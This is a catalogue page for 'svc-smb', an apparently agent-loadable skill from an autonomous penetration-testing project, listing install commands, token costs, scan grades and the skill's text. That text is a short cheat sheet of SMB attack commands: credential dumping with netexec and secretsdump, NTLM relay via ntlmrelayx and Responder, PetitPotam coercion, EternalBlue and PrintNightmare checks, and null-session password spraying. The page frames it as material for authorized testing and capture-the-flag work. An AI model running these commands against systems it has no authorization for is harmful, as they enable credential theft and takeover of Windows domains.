svc-smb

svc-smb is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 56 tokens per session (607 once invoked), scanned A, original, MIT.

A reference for testing SMB, the Windows file- and printer-sharing protocol, and related network services. It covers shared folders, anonymous access, user discovery, signing, known Windows flaws, and relay risks.

In plain words
What is it for?
Listing shares and users, checking guest or anonymous access, reviewing SMB versions and signing, and assessing known vulnerabilities and relay conditions.
Why use it?
It helps reveal whether shared resources or Windows services expose data or accept requests without proper authentication and integrity checks.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Listing shares and users, checking guest or anonymous access, reviewing SMB versions and signing, and assessing known vulnerabilities and relay conditions.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/s0ld13rr/pentestcode/smb
About the project

PentestCode is a terminal-based autonomous penetration-testing system in which multiple agents run security tools, interpret results, track engagement state, and choose subsequent attack steps. It is for authorized security assessments and capture-the-flag work that require coordinated scanning, enumeration, exploitation, and evidence tracking. The catalogue skills and instructions support the project's agent-led penetration-testing workflow.

s0ld13rr/pentestcode · 1,278 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add s0ld13rr/pentestcode --skill smb
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for svc-smb

README.md
[![agentmods](https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/smb/github.svg)](https://agentmods.dev/skills/s0ld13rr/pentestcode/smb)
Your own site
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/smb"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/smb/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for svc-smb

Your own site · 80×15
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/smb"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/smb.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 56 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 607 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium YARA Match · line 30
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00056 $0.00607
Opus 5.5 $0.00022 $0.00243
Sonnet 5.5 $0.00011 $0.00121
Haiku 4.5 $0.00006 $0.00061

Measured today against content hash 031ad33c968c, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

svc-smb scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured today.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/services/smb/SKILL.md · 38 lines

What it actually says

SMB — Gotchas & Attack Chains

DPAPI dump trap

netexec smb HOST -u USER -p PASS --dpapi bare = FULL dump (browser passwords, vault, cookies, Credential Manager). Adding subcommands (cookies, nosystem, wifi) LIMITS output. Always bare --dpapi first.

Credential dump order (with local admin)

Run ALL, in order — each gets different secrets:

  1. --sam — local hashes
  2. --lsa — service passwords, cached domain creds
  3. --dpapi — user secrets (browser, vault, Credential Manager)
  4. --ntds — DC only, all domain hashes Fallback: secretsdump.py DOMAIN/USER:PASS@HOST

SMB relay (signing disabled)

Check: netexec smb TARGET → if "signing: False" → relay is possible. Generate target list: netexec smb SUBNET --gen-relay-list relay.txt Relay: impacket-ntlmrelayx -tf relay.txt -smb2support Trigger auth: Responder, mitm6, PetitPotam, PrinterBug.

EternalBlue (MS17-010)

Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: nmap --script smb-vuln-ms17-010 -p 445 TARGET.

PrintNightmare (CVE-2021-34527 / CVE-2021-1675)

Windows Print Spooler RCE via RPC. rpcdump.py TARGET | grep -i spool → cube0x0/CVE-2021-1675 or cube0x0/CVE-2021-34527. Patch: KB5004945+. Check GPO Turn off printing for mitigation status.

PetitPotam (CVE-2021-36942 / CVE-2022-26923 / CVE-2022-37967)

Coerce DC NTLM auth via MS-EFSRPC. PetitPotam.py <attacker> <target> → capture with Responder/ntlmrelayx → relay to ADCS (ESC8) or LDAP. Patched by KB5005413+ and LdapEnforceChannelBinding=1 / LdapServerIntegrity=2.

Null session → spray chain

enum4linux-ng -A TARGET, rpcclient -U '' -N TARGET -c 'enumdomusers'. If null session works → user list → AS-REP roast / password spray.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. today Changed · +6 lines 031ad33c968c
  2. 2mo ago Changed · -58 lines · -12 tokens per session 0c80b71cc787
  3. 3mo ago First seen · 90 lines · 68 tokens per session scan A 1a2df0b7e7cc

Subscribe to this mod's changes

svc-smb is a skill published in the GitHub repository s0ld13rr/pentestcode (1,278 stars, last pushed today), licensed MIT. It adds 56 tokens to every session and 607 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

svc-smb compared with skills from other repositories

svc-smb next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
svc-smbs0ld13rr/pentestcodeSkill1.3ktodayMITA56Claude Code, Codex
lictor-security-checkRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A135Claude Code
lictor-rotateRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A80Claude Code
lictor-explainRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A56Claude Code
openai-patternschandrudp29/skillhubSkill145mo agoMITA31Claude Code, Codex
lictor-fix-itRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0B75Claude Code
hunt-api-misconfigelementalsouls/Claude-BugHunterSkill28kyesterdayMITA207Claude Code